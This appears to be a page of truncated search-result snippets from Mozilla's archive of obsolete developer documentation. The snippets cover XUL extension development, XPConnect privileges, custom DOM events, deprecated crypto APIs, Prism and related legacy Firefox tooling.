...iles Try saving the contents of Listing 1 as the file test.xul, somewhere on your desktop, and drag and drop it into Firefox to open it. You'll note that even though the file includes an alert method, nothing happens. This is a by-product of the fact that test.xul currently doesn't have privileges. In order to use XPConnect, the file needs special UniversalXPConnect privileges. Because ordinary
web pages and local files don't have privileges, it's impossible to actually try out the sample code in this chapter. In order to set UniversalXPConnect privileges, you need to run the code in Listing 2. Listing 2: Setting privileges netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect'); Note: This is unneeded when the code is part of an extension, and will result in rejection...
...ord=foobar'); var referrer = null; var postData = Components.classes['@mozilla.org/io/string-input-stream;1'] .createInstance(Components.interfaces.nsIStringInputStream); content = 'Content-Type: application/x-www-form-urlencoded\n'+ 'Content-Length: '+content.length+'\n\n'+ content; postData.setData(content, content.length); var flags = Components.interfaces.nsI
WebNavigation.LOAD_FLAGS_NONE; browser.loadURIWithFlags('http://piro.sakura.ne.jp/', flags, referrer, null, postData); << PreviousNext >> ...
Adding Events and Commands - Archive of obsolete content
ts have a default behavior associated to them. Custom events This is a very powerful tool that you should know, even if it isn't that frequently used. The DOM createEvent function allows you to create custom events that you can dispatch and capture. Custom events serve as a good communication mechanism, specially when dealing with a somewhat common problem: communication between window XUL and
web page content. It isn't hard for XUL code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension XUL code to receive information from pages in a secure manner. This is because it would be very insecure to have a
website JS controlling the behavior of Firefox and running JavaScript code with chrome privileges. Suppose your extensio...
...or XUL code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension XUL code to receive information from pages in a secure manner. This is because it would be very insecure to have a
website JS controlling the behavior of Firefox and running JavaScript code with chrome privileges. Suppose your extension interacts with pages from a
website, and you want some actions on this site to trigger actions in your extension. One way to solve this is to have the actions on the site to generate a custom event that can be easily recognized by your extension. You can capture the events in the XUL overlay, since they'll bubble all the way up: // in the overlay code. document.addEventListener( "XSHelloGreetingEvent", function(aEvent) { /*...
... that could be destructive to the user's data, because a malicious site could try to trigger these events and cause damage. There's a reason for the division between remote content and local chrome, so make sure you respect it. There's a section further ahead on Intercepting Page Loads which complements this section very well. This should give you a solid foundation to handle interaction between
web content and XUL. Additional information on custom events and how they can be used to effect communication between
web content and XUL can be found in the Interaction between privileged and non-privileged pages code snippets, which describe and provide examples of this sort of communication. Broadcasters Keeping a consistent UI is another important aspect of extension behavior. Maybe your exten...
Appendix F: Monitoring DOM changes - Archive of obsolete content
Unfortunately, adding listeners for any of these events to a document has a highly deleterious effect on performance, an effect which is not mitigated in the slightest by later removing those listeners. For this reason, it is best to avoid using mutation listeners at all costs, especially from extensions. This document lays out some alternatives which do not have such severe performance impacts. Mutation observers Mutation observers are the more efficient, W3C speced replacement for the highly inefficient mutation events. ...
...slight delay, or even polling, via setTimeout, for cases where the URL change happens before the page is fully loaded. This method works particularly well with services like Google Instant, and the Gawker family of sites. Network listeners AJAX-based page changes are almost universally tied to XMLHttpRequests. These requests can be tracked from chrome code using a variety of methods, including
web progress listeners, HTTP observers, and content policies. While these are not exceptionally efficient (they run for every HTTP request, and considerably more often for some methods), they work very well for certain applications Pure CSS Pure CSS can be more powerful than most people suspect. It is often possible to do things for which people have traditionally resorted to JavaScript with CSS al...
...vent); } return function unwatch() { doc.removeEventListener('DOMNodeInserted', listener, false); }; } } XBL XBL is similar in approach to the above animation-based method. Bindings are attached to DOM nodes via CSS and are given the opportunity to run code via their constructors when new matching DOM nodes are created. While it is no longer possible for
web sites to use XBL directly, chrome code can still attach XBL bindings to
web content from stylesheets loaded via the stylesheet service. As it is currently possible to attach only a single binding to a given DOM node at once, it is important when using this method to detach your binding from a node once your constructor has run. This is most easily done by adding a :not clause to the CSS selector...
Connecting to Remote Content - Archive of obsolete content
Besides XML, it can be used to retrieve data in other formats, for example JSON, HTML and plain text. In this section we'll look into the XML and JSON communication mechanisms. ...
...rocess these documents more efficiently: Using XPath XPath stands for XML Path Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an XML document. Taken from the XPath page. You can use XPath to quickly access specific nodes in an XML or HTML document with a simple query mechanism. XPath can also be used to extract information from
web pages once they load, along with the page load interception techniques discussed previously. XPath is very useful for cases when you're receiving large and complex XML files, and you only need some of the data contained in them. Using XPath to parse a complete XML document is probably not a good idea performance-wise. Using XSLT XSLT (eXtensible Stylesheet Language Transformations) is another ...
...sts and responses occurring in Firefox. After installation, you can find a Tamper Data menu item in the menu bar: Tools > Tamper Data or View > Sidebar > Tamper Data Once you open the Tamper Data view, all requests and responses will begin to appear in it. You can discover some interesting things about Firefox like this, such as the automatic update URLs for extensions, and the behavior of
web applications such as Gmail. If you click on the "Start Tamper" button, for every request made you will get a popup dialog for tampering with it before it is sent. You can use it to view or even modify the data in a request, and then inspect the result. This can be a lot of work because there is a lot of
web activity in a normal Firefox window, so use it sparingly. A tutorial on Tamper Data can ...
The Essentials of an Extension - Archive of obsolete content
ndow that are outside of a window's content area. Toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome. Taken from Chrome Registration. In other words, the chrome is everything you see in Firefox. All Firefox windows can be seen as having two parts: (1) the chrome and (2) possibly a content area, like the one that displays
web pages in a Firefox tab. Windows like the Downloads window are pure chrome. Most of the code for an extension resides in the chrome folder, just like in the Hello World example. As we saw in the directory structure of the unpacked extension, the chrome is composed of 3 sections: content, locale and skin. The 3 are necessary for most extensions. If we open the chrome.manifest file (again, any text...
...tory. Since most other systems are Unix-based, the "unix" skin is the default, with no flags. The Chrome As mentioned earlier, the chrome is composed of 3 sections: content, locale and skin. The content is the most important section, holding user interface (XUL) and script (JS) files. The skin section has the files that define most of the look and feel of the UI (using CSS and images, just like
web pages). Finally, the locale section holds all text used in the extension, in DTD and properties files. This division allows other developers to create themes that replace skins, and translators to create localizations in different languages, all of this without having to change your extension or your code. This gives Firefox extensions a great deal of flexibility. Chrome files are accessed throu...
...u right in the "root" of the menu so that it would be very easy for you to spot it, but this is not a recommended practice. Imagine if all extensions added menus to the top menu; having a few extensions would make it look like an airplane dashboard, full of knobs and switches. In the case of the unified menu, things are a little more difficult due to lack of options. If your menu item fits in the
Web Developer section, it is recommended that you add it there. Otherwise, the root menu might be your only recourse. One recommended location for menus in the classic menu vase is under the Tools menu, so the code should really look like this: <menupopup id="menu_ToolsPopup"> <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloMenu.acce...
Add-ons - Archive of obsolete content
The SDK includes JavaScript APIs, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons. bookmarks.export() Exports bookmarks to an HTML bookmark file. bookmarks.import() Imports bookmarks from an HTML bookmark file. Bootstrapped extensions browser.bookmarks.export( function() {...} // optional function ) Code snippets ... ...
... files to extend the functionality of an XUL program. Extensions support in SeaMonkey 2 Starting with SeaMonkey 2 Alpha 1 SeaMonkey supports toolkit/-style extensions. These type of extensions have many advantages for both users and developers compared to the old xpinstall/-style extensions. Firefox addons developer guide The original document is in Japanese and distributed via the xuldev.org
website. So there may be still some reference to the xuldev
website (we want to host source code on MDC, not on xuldev), and to Japanese things (like some specific locales, which have been translated to French since non-latin characters are not well supported). Hotfix Extension This document has been moved to the Add-ons wiki. How to convert an overlay extension to restartless First off, what kin...
...rbird) uses to determine information about an add-on as it is being installed. It contains metadata identifying the add-on, providing information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on. Interaction between privileged and non-privileged pages An easy way to send data from a
web page to an extension is by using custom DOM events. In your extension's browser.xul overlay, write code which listens for a custom DOM event. Here we call the event MyExtensionEvent. Legacy Add-ons This section contains links to documentation for legacy technology for add-on development, including: Legacy extensions for Firefox for Android Add-ons that work with desktop Firefox do not automat...
Creating a dynamic status bar extension - Archive of obsolete content
Specifically, this sample displays a stock quote in the status bar, and, when you mouse over it, displays a tooltip containing more detailed information about the stock. ...
...() { var httpRequest = null; var fullUrl = 'http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=GOOG'; // ... httpRequest = new XMLHttpRequest(); httpRequest.open('GET', fullUrl, true); httpRequest.onload = infoReceived; httpRequest.send(null); } The httpRequest variable will contain an XMLHttpRequest object. This object is used to configure and run an HTTP request on a
web server, which we'll use to fetch the stock quote data. The fullUrl variable is the complete URL to use when requesting a stock quote. In this case, we're using Yahoo's comma-separated values return to fetch easily-parsed stock quote data for Google (ticker symbol GOOG). refreshInformation() embeds another function, infoReceived(), which we'll look at separately shortly. The first thing we do is c...
...rray[5] + ' | ' + 'Low: ' + fieldArray[6] + ' | ' + 'High: ' + fieldArray[7] + ' | ' + 'Vol: ' + fieldArray[8]; } } The first thing we do here is get the status bar panel into the variable samplePanel by calling the document.getElementById() DOM function. We need this so that we can make changes to the status bar panel itself. We then fetch the result returned by the
web server into the variable output from the XMLHttpRequest.responseText property. The text we receive back from the server looks something like this: "GOOG",414.20,"5/1/2006","1:36pm",-3.74,417.85,419.44,412.19,4760215 We then parse the text. We use the split() string function to split the comma-separated value string into its individual parts, with each field in a separate element in the array fi...
cert_override.txt - Archive of obsolete content
generated in the user profile to store certificate exceptions specified by the user. This file is used by Firefox, Thunderbird, and other XUL-based applications. Since there is no way to add easily an exception in a XULRunner 1.9 project, you can open the page in Firefox, accept the certificate, then copy the cert_override.txt to the XULRunner application profile. ...
... This file is used by Firefox, Thunderbird, and other XUL-based applications. Since there is no way to add easily an exception in a XULRunner 1.9 project, you can open the page in Firefox, accept the certificate, then copy the cert_override.txt to the XULRunner application profile. The syntax is described on this
web site. Example Here is an example for a SHA1-256 hash algorithm. ...
... Do not edit. ...
Source code directories overview - Archive of obsolete content
base. dbm contains C code for managing, reading and writing hash tables. It is used for the auto-completion feature on the URL edit box (stored in netscape.hst in Mozilla Classic) and for the cached pages index (stored in fat.db in Mozilla Classic). This code originated at UC Berkeley. directory contains the LDAP SDK. docshell contains C interfaces and code for loading and displaying a single
web page (e.g. scroll). The [#seamonkey-embedding embedding] code wraps this code with higher level browser functions like forward, back and history. dom contains C interfaces and code for implementing and tracking DOM (Document Object Model) objects in Javascript. It forms the C substructure which creates, destroys and manipulates built-in and user-defined objects according to the Javascript script...
...itor (i.e. Composer in Mozilla Classic), for plain text and HTML mail composition and for text fields and text areas throughout the product. The editor is designed like a "browser window with editing features" with extra classes for editing text and managing undo/redo. embedding contains C interfaces and code for generic high-level browser functions (e.g. forward, back, history). The [#seamonkey-
webshell
webshell] code wraps these interfaces according to the particular platform and way (e.g. ActiveX) that is being supported. extensions contains C interfaces, C code, XUL and Javascript code for various add-ins that are related to browsing. These include: cookies, IRC, wallet, DOM Inspector, P3P, schema validation, spellchecker, transformiix, typeaheadfind, JavaScript debugger, XForms, etc. ...
...rfaces and code for different types of views (e.g. scrolling view). A view contains content but does not contain the title bar, borders or other decorations (which are contained by frames). This code serves to manipulate the individual content that it contains. For example, a scrolling view will find out the scroll bar positions and tell its content where to draw according the scroll bar thumbs.
webshell contains C interfaces, C code, Linux shell scripts and other files for embedding Mozilla in other programs on various different platforms in various different ways (e.g. as plug-in, as ActiveX component, as XPCOM classes). widget contains C interfaces and code for platform independent controls (widgets), such as scroll bars, radio buttons and list boxes. xpcom contains the low-level C inte...
Using XML Data Islands in Mozilla - Archive of obsolete content
XML data islands are no longer supported from Internet Explorer 10 onwards. HTML5 has a more general feature called "data blocks" that can carry almost any textual data, including XML. JavaScript can use the content of a <script> element as a data block if the src attribute is omitted and the type attribute does not specify an executable script type. ...
...Here is a complete demo (also available as an attachment): <!DOCTYPE html> <html> <head> <title>XML Data Block Demo</title> <script id="purchase-order" type="application/xml"> <purchaseOrder xmlns="http://example.mozilla.org/PurchaseOrderML"> <lineItem> <name>Line Item 1</name> <price>1.25<...
...length + " line items. The price of the first line item is " + firstPrice + "."; } </script> </head> <body onload="runDemo()";> Demo did not run </body> </html> The XML source text can be parsed into a DOM tree using the DOMParser API: var parser = new DOMParser(); var doc = parser.parseFromString(orderSource, "application/xml"); The HTML5 data block-based way shown here works in Firefox, Opera,
WebKit-based browsers such as Chrome and Safari, and IE9 while IE's XML data islands work only in IE. Here is another possible way, using the <object> tag. For this demo, you must create an external document called purchase_order.xml: <!DOCTYPE html> <html> <head> <title>XML Data Block Demo</title> <script> function runDemo() { var doc = document.getElementById("purchase-order").contentDocument; ...
Chromeless - Archive of obsolete content
[This project may not be active -- check Github https://github.com/mozilla/chromeless] Chromeless is a Mozilla Labs project in its early stages. The aim is to enable developers to create full blown desktop applications using only
Web technologies. Chromeless apps have access to a collection of JavaScript APIs that provide them with deep desktop integration. One of the core capabilities of the Chromeless platform is the ability to safely embed untrusted
Web applications inside these applications. ...
...ct in its early stages. The aim is to enable developers to create full blown desktop applications using only
Web technologies. Chromeless apps have access to a collection of JavaScript APIs that provide them with deep desktop integration. One of the core capabilities of the Chromeless platform is the ability to safely embed untrusted
Web applications inside these applications. Chromeless vs Prism/
WebRunner Prism (an ex-Mozilla Labs project, now discontinued but kept going independently of Mozilla under the [now discontinued]
WebRunner name) was/is a way to make
Web pages superficially appear to be native applications. ...
...ties of the Chromeless platform is the ability to safely embed untrusted
Web applications inside these applications. Chromeless vs Prism/
WebRunner Prism (an ex-Mozilla Labs project, now discontinued but kept going independently of Mozilla under the [now discontinued]
WebRunner name) was/is a way to make
Web pages superficially appear to be native applications. Firefox users could choose to turn a
Web page into a "Prism application" and have an icon added to their desktop to launch it without the Firefox user interface surrounding the page. However, Prism "applications", being
Web pages, were subject to all the normal restrictions that browsers place on a
Web page. For example, Prism applications could not read/write files directly from/to the computer's file system. One of the ideas behind Ch...
In-Depth - Archive of obsolete content
Mozilla CSS Properties Mozilla.org created their own CSS properties to allow them to use the technology for the UI of Mozilla. All of the properties follow the W3C's standards for vendor extensions, which is why they all begin with -moz. This is only a list of properties which may be useful to you; it is in no way all of the Mozilla specific properties available. ...
...ius-bottomleft The same as -moz-border-radius but only applies to the bottom left corner. An example of where this would be used is on a footer. -moz-border-radius-bottomright The same as -moz-border-radius but only applies to the bottom right corner. An example of where this would be used is on a footer. -moz-box-direction Controls which way the items in this box are displayed. Normal in English
web browsers items are displayed top to bottom and left to right. This will flip it around so items inside of this box will be displayed bottom to top and right to left. This is useful for, say, putting the navigation controls (back button) on the right hand side of the toolbar. Values: Normal, Reverse -moz-image-region This is useful for dividing up an image into multiple smaller images. It uses a r...
...ow do I know what to Modify? Now that you've got everything extracted and you know how to modify items, you might be wondering, how do I know where everything is? Well there is an easy way to find out - Using the DOM Inspector. If you didn't install it when you first installed Mozilla you may have to run the installer again. Load mozilla and one browser window. Then open the DOM Inspector (Tools->
Web Development->DOM Inspector). Click File->Inspect and select the browser window. What appears in a tree view below is the actual code for the interface. Using this, we can figure out what objects are where, what classes/id's they have applied to them, and most importantly, which file the style is located in. Click on the Inspect icon and then click on the back button in the browser window. What t...
Editor Embedding Guide - Archive of obsolete content
In the Beginning there is MakeEditable Given an nsI
WebBrowser instance, get an nsIDOMWindow from the GetContentDOMWindow call. Then simply call nsI
WebBrowser->do_GetInterface on the nsI
WebBrowser to retrieve the nsIEditingSession from it. From there you call editingSession->MakeWindowEditable(domWindow, editortype, PR_TRUE). The first parameter is the nsIDOMWindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window editable immediately or when the document is done loading. ...
...he nsIDOMWindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window editable immediately or when the document is done loading. ...
...r all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few editing rules/behaviors that differ such as splitting of mail quotes) Editor Commands You need to call commands and receive updates in order to make any changes to the content on the browser. Below is the sequence of steps that need to be followed for the same: 1. Get the nsICommandManager from the nsI
WebBrowser using do_GetInterface: nsCOMPtr<nsICommandManager> commandManager; nsI
WebBrowser->do_GetInterface(getter_AddRefs(commandMgr)); 2. Call a command -- DoCommand: commandManager->DoCommand(aCommand, aCommandParams); aCommand is a const char * to a supported command name (see list below). aCommandParams could possibly be a null pointer or a pointer to a valid structure filled with relati...
Error Console - Archive of obsolete content
The Error Console is a tool available in most Mozilla-based applications that is used for reporting errors in the application chrome and in
web pages user opens. It reports JavaScript-related errors and warnings, CSS errors and arbitrary messages from chrome code. In Firefox, the Error Console can be opened from the tools menu or by Ctrl-Shift-J. ...
...It reports JavaScript-related errors and warnings, CSS errors and arbitrary messages from chrome code. In Firefox, the Error Console can be opened from the tools menu or by Ctrl-Shift-J. ...
...or mail window, use the function toJavaScriptConsole(). ...
CRMF Request object - Archive of obsolete content
Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Warning: The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future
Web Crypto API instead. RFC 4211, the Internet X.509 Public Key Infrastructure Certificate Request Message Format (CRMF), defines a certReqMessage. The object returned by generateCRMFRequest() contains one of those. ...
generateCRMFRequest() - Archive of obsolete content
Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Warning: The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future
Web Crypto API instead. crmfObject = crypto.generateCRMFRequest("requestedDN", "regToken", "authenticator", "escrowAuthorityCert", "CRMF Generation Done Code", keySize1, "keyParams1", "keyGenAlg1", ..., keySizeN, "keyParamsN", "keyGenAlgN"); ...
importUserCertificates - Archive of obsolete content
Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Warning: The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future
Web Crypto API instead. resultString = crypto.importUserCertificates("nicknameString","certString",forceBackup); Argument Description "nicknameString" This is the nickname that will be used to describe the certificate in the client's certificate management UI. It should serve to uniquely identify the certificate to the user. For example, "John Smith's VeriSig...
popChallengeResponse - Archive of obsolete content
Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Warning: The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future
Web Crypto API instead. resultString = crypto.popChallengeResponse("challengeString"); Argument Description "challengeString" A base-64 encoded CMMF POPODecKeyChallContent message. The current implementation does not conform to that defined in the CMMF draft, and we intend to change this implementation to that defined in the CMC RFC.. See below for the current implementation...
Microsummary topics - Archive of obsolete content
element. The value of the attribute must be a valid URI, but you can specify an arbitrary identifier using a URN, for example: urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16} To guarantee uniqueness, use URNs containing UUIDs generated by the nsUUIDGenerator component. See Generating a UUID in the nsIUUIDGenerator documentation. You may also use another form appropriate to your extension. Note: When
web sites install generators via window.sidebar.addMicrosummaryGenerator(), Firefox sets their uri attribute to urn:source:sourceURL, where sourceURL is the URL from which the generator was downloaded. In the future, Firefox may access source URLs to download updated versions of generators, so unless you are installing generators which are available from URLs, you should not use this form for your pr...
...ntent like embedded images and JavaScript scripts referenced by the page. However, because of a technical limitation (bug 340746), it does download CSS stylesheets referenced by the page. Firefox includes the X-Moz request header with these requests. It sets the value of the header to the string microsummary. Thus, to differentiate requests initiated manually by users for the purpose of viewing a
web page from those initiated automatically by Firefox for the purpose of summarizing that page, check for the presence and value of the X-Moz request header. If the X-Moz header is present, and its value is microsummary, then the request is a microsummary-related request. Otherwise, it is a user-initiated request. Controlling the frequency of microsummary requests When Firefox downloads content in ...
...t, and its value is microsummary, then the request is a microsummary-related request. Otherwise, it is a user-initiated request. Controlling the frequency of microsummary requests When Firefox downloads content in order to update a microsummary, it honors cache-related HTTP response headers. Thus, if you would like to control how frequently Firefox initiates microsummary-related requests to your
web server, you can do so by including an HTTP Expires or Cache-Control header in your response to a microsummary-related request. For example, you might include the following header in your response to prevent Firefox from making another microsummary-related request for one hour: Cache-Control: max-age=3600 Note: Because of a technical limitation (bug 346820), Firefox uses the same cache for both m...
FAQ - Archive of obsolete content
What is Prism? Prism is an application that integrates
web applications into the desktop environment. It lets users start
web applications from their desktop, start menu, and dock, and it opens those applications in their own window separate from a
web browser and without the browser interface (back and forward buttons, location bar, etc.). Is Prism a Mozilla product? No, Prism is not a Mozilla product. It is one of the experiments being conducted by Mozilla Labs to bridge the divide in the user experience between
web applications and desktop apps. Prism is the codename for the project, and if the functionality provided by Prism becomes a product or is integrated into other products (like Firefox), then it won't necessarily continue to be called by this codename. Is Prism a platform...
...dename for the project, and if the functionality provided by Prism becomes a product or is integrated into other products (like Firefox), then it won't necessarily continue to be called by this codename. Is Prism a platform? No, Prism is not a platform. Prism is built on top of the Mozilla platform and its Gecko rendering engine, just like Mozilla Firefox, so it provides the same capabilities to
web applications that Firefox provides, including support for HTML, JavaScript, CSS, and <canvas>. At the same time, we're also working to increase the capabilities of those apps by adding features to the
Web itself, like support for offline data storage and access to 3D graphics hardware, that will be available to
web applications in both Prism and Firefox. How is Prism different from XULRunner? Pr...
...se apps by adding features to the
Web itself, like support for offline data storage and access to 3D graphics hardware, that will be available to
web applications in both Prism and Firefox. How is Prism different from XULRunner? Prism is built on top of XULRUnner. Prism is a simple XULRunner application with the main portion of the UI consisting of a XUL <browser> element. How does Prism render
web pages? Prism uses Gecko, the same browser rendering system found in Firefox. What operating systems does Prism support? Microsoft Windows 2000 XP Vista Mac OS X 10.3.9+ (Panther) 10.4 (Tiger) 10.5 (Leopard) Linux kernel 2.2.14+ with glibc 2.3.2, XFree86-3.3.6, gtk+2.0, fontconfig/xft, and libstdc++5 ...
Priority Content - Archive of obsolete content
at to do? Mathieu Deaudelin 15:22, 17 May 2005 (PDT) Mostly completed: Netscape Gecko Compatibility Handbook Original: Netscape Gecko Compatibility Handbook Wiki Location: Gecko Compatibility Handbook Migrators: Mathieu Deaudelin There are inline examples on this page that cannot be migrated. They are dependant on some code that cannot be integrated in the page. Dependant on: Updating DHTML
Web Pages for Next Generation Browsers on devedge The tune-up wizard (see below, in the wishlist section) Mostly completed: Popup Window Controls DevEdge Article Migrators: Mathieu Deaudelin There are inline examples on this page that cannot be migrated. They are dependant on some style instructions that can only be placed in the header of the page. Started: Scripting Plugins: Macromedia Fla...
...tion: SOAP in Gecko-based Browsers Migrators: Doron Rosenberg In progress: CSS Support Charts Original: CSS Support Charts and Archive.org mirror Wiki Location: CSS Support Charts Migrators: Serge K. Keller Licensing: These CSS charts appear to be under a CC:By-NC-SA license, please make note of that on the page when you do the migration. Started: Using Mozilla in Testing and Debugging
Web Sites Original: Using Mozilla in Testing and Debugging
Web Sites Wiki Location: Using Mozilla in Testing and Debugging
Web Sites Migrators: Serge K. Keller NOTE: Henrik contacted me on Apr 27 and gave us permission to use any of his materials in DevEdge in the Devmo Wiki under the CC:By-SA license (yay!) Started: Browser Feature Detection Original: Browser Feature Detection Wiki Location...
...ticles on the DevEdge page instead. Almost completed: Eric Meyer's articles on ViewSource See here for full list and details. Already completed migrations are listed here, and the full list will be transferred on this page once all articles are migrated. Migrators: Serge K. Keller Equivalents Security Developer Central -> Security Plugins Central -> Plugins DevEdge Community -> Mozilla
Web Developer Community Notes from DevMo Wishlist DevEdge Toolbox Tools on devedge Examples on devedge Started: DevEdge Sidebar Completed: Standards-Compliant Authoring Tools on devedge Mostly completed: Tools:Validators on devedge Dependant on the sidebar tabs and the tune-up wizard. ...
Hacking wiki - Archive of obsolete content
Checking out First, check out the <tt>developer.mozilla.org</tt> project from SVN. For anonymous access use: svn co http://svn.mozilla.org/projects/deve...lla.org/trunk/ To see the skins properly, you'll need to also check out <tt>mozilla-org/css</tt> to get the CSS files needed: export CVSROOT=:pserver:anonymous@cvs-mirror.mozilla.org:/www cvs login cvs co mozilla-org/css (when prompted to enter a password, type <tt>anonymous</tt>) Setting up Copy the contents of the <tt>trunk</tt> folder and the <tt>css</tt> folder (Note: the folder itself) into the <tt>www</tt> directory on your server. ...
... server. The contents of the <tt>trunk</tt> directory you just checked out is a slightly modified MediaWiki install, so you can follow the MediaWiki install instructions. The <tt>css</tt> folder contains files that are supposed to be in the <tt>/css</tt> directory of the site.) To get a working install, you need to configure MediaWiki. It's done by navigating to <tt>/config/index.php</tt> in your
web browser. Polvi claims that you'll have it, but in case you don't, you can copy one from the MediaWiki tarball. Once you're done with the configuration script, copy the <tt>config/LocalSettings.php</tt> file it created to the parent directory and navigate to the location you installed MediaWiki to. A main page should appear. You can log in and switch the skin to Devmo if you like. MDC customizat...
...ds to be done? The title-override / breadcrumbs extensions need an additional table created. To configure it, run <tt>update-devmo.php</tt> from the command line. The following worked for me (from the <tt>www</tt> directory): /path/to/php -f ./maintenance/update-devmo.php Done You should have a working install of the MDC wiki now. If you have problems with setting up the MDC wiki (and not the
web server or PHP or MediaWiki), feel free to ask in #devmo. Random tips You can set the file to log by putting something like this in your LocalSettings.php: $wgDebugLogFile = 'c:\\123'; You can then use wfDebug() function to write to the log. ...
New Skin Notes - Archive of obsolete content
t what user expects (well, I don't expect sites to style visited and non-visited links the same), and it's false that other documentation sites do this (I just checked Apple's and Microsoft's sites). Your statement that "It looks odd when someone who uses Devmo on regular basis sees some violet links just because he already worked with this site yesterday" holds true for every single place on the
web, yet visited links use different styling on most sites. --Nickolay 01:34, 31 Aug 2005 (PDT) Ok, so I'm asking just to change this color. --Gandalf 04:55, 31 Aug 2005 (PDT) Fine, changed. --dria The default link color is to bright. It's less readable than the old one. I'd suggest to use the color from Cavedish. -- gandalf That was my first thought, too. -- AxelHecht Ok, I'll tone the mai...
...intended for PDAs/PPCs), I find myself needing to use ctrl+- with the devmo wikki currently, not to change my global settings of course, which are fine and factory-default, working well with the other sites I visit regularily or manage... Thanks again --mmondor Future Fixes In l10n versions there all heading links are wrong - main link and documentation leads to english Devmo, and DevNews and
Webwatch should be hidden or localized too. --Gandalf 01:30, 29 Aug 2005 (PDT) We'll revisit this later. Tab links are currently as intended. --dria No, they're not. When I'm on polish devmo and I click on Documentation or main Devmo logo I'm redirected to english version. It's a bug. --Gandalf 00:39, 31 Aug 2005 (PDT) Link URL fixed for wiki skin only. Tab text will currently remain untranslated ...
...ized too. --Gandalf 01:30, 29 Aug 2005 (PDT) We'll revisit this later. Tab links are currently as intended. --dria No, they're not. When I'm on polish devmo and I click on Documentation or main Devmo logo I'm redirected to english version. It's a bug. --Gandalf 00:39, 31 Aug 2005 (PDT) Link URL fixed for wiki skin only. Tab text will currently remain untranslated ("Documentation"). DevNews and
WebWatch are not currently being localised so shall remain as they are, with link to english wiki. --dria Further Notes and Ideas (Future) Skin designed more for the editorial crowd, with the editor tools more prominently placed in the skin. The core format would be the same as "default", however. Skin designed with simplicity in mind -- minimal header, nav, footer -- plausibly good for alte...
Remotely debugging Firefox for Metro - Archive of obsolete content
.) Set up Firefox for desktop On the desktop, remote debugging is enabled by a setting in the Toolbox. Open the Toolbox, click the "Settings" button in the toolbar, and check "Enable remote debugging" in the Settings tab. If you're using a version of Firefox older than 27, you'll need to restart the browser for the setting to take effect. Connecting On the desktop On the desktop, open the
Web Developer menu and select "Connect...". You'll see a page that looks like this: If you are running Firefox for Metro on the same computer with the default settings, use the default host (localhost) and port (6000), and press the "Connect" button. If you are connecting to Firefox for Metro on a different computer or a different port, enter the appropriate hostname and port number and then pres...
...alog in Firefox for Metro asking you to confirm the connection. Press the "OK" button to continue. Tip: If the remote connection times out, flip to the desktop via the desktop tile and check if Windows Firewall has thrown up an incoming connection permissions prompt. On the desktop Next, the desktop shows you a dialog that looks something like this: This is asking whether you want to debug
web content running in a browser tab, or to debug the browser code itself. You'll see one entry under "Available remote tabs" for each open tab, and clicking it will attach the debugging tools to the
web content hosted by that tab. If you want to debug your
web content, you'll choose the relevant content tab. You'll see one entry under "Available remote processes": this is the browser process its...
...tabs" for each open tab, and clicking it will attach the debugging tools to the
web content hosted by that tab. If you want to debug your
web content, you'll choose the relevant content tab. You'll see one entry under "Available remote processes": this is the browser process itself. You'll choose this option if you want to debug the browser's own code. Let's choose to attach to the mozilla.org
website. The Toolbox will open in its own window, attached to the Firefox for Metro tab that's currently hosting mozilla.org: The Toolbox, and the tools it hosts (including the Console, Debugger, Style Editor, Profiler, etc.), work in just the same way as they do when attached to local content. ...
The life of an HTML HTTP request - Archive of obsolete content
Warning: The content of this article may be out of date. It was last updated in 1999. (1) The loading of the url is started in ns
WebShell::DoLoadURL (called from some LoadURL or LoadURI variant in the
webshell). The
webshell then tells its DocumentLoader to load (command "view") the specified url. [note: Passes ns
